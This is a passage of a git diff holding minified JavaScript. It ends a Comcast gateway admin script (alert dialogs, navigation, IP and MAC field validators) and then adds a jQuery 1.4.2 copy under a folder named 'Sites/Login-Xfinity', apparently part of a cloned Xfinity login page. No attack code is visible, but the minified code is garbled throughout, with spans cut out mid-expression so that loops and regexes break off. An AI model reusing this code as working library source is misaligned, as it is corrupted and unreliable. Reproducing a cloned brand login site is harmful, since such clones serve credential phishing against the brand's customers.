"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)}$("#popup_prompt").focus().select();break}if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0}if(left<0){left=0}if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()}$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")}$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)}var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})}return{init:function(title,navElementId){document.title=title+" - "+document.title;Uh_Page_Init();setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){}if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalString;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return}var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)}this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; \ No newline at end of file diff --git a/Sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js b/Sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js new file mode 100644 index 0000000..c5885e8 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js @@ -0,0 +1,246 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/, +Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&& +(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this, +a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b=== +"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this, +function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a"; +var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected, +parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent= +false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n= +s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true, +applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando]; +else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this, +a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b=== +w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i, +cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected= +c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed"); +a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g, +function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split("."); +k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a), +C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type= +e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&& +f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive; +if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data", +e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a, +"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a, +d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, +e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift(); +t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D|| +g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()}, +CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m, +g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)}, 